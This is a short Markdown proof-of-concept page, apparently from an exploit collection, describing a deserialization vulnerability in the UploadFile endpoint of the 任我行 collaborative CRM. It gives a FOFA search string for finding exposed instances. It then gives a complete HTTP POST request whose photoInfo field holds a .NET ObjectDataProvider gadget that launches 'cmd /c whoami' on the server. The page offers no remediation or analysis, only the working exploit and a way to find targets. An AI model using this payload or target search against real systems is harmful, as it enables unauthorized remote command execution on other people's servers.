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32 lines
1.1 KiB
Markdown
32 lines
1.1 KiB
Markdown
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# 任我行协同CRM系统UploadFile存在反序列化漏洞
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## fofa
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```yaml
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"欢迎使用任我行CRM"
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```
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## poc
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```java
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POST /SystemManage/UploadFile HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
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Gecko) Chrome/83.0.4103.116 Safari/537.36
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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photoInfo={
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'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{
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'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c whoami']
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},'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
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}
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```
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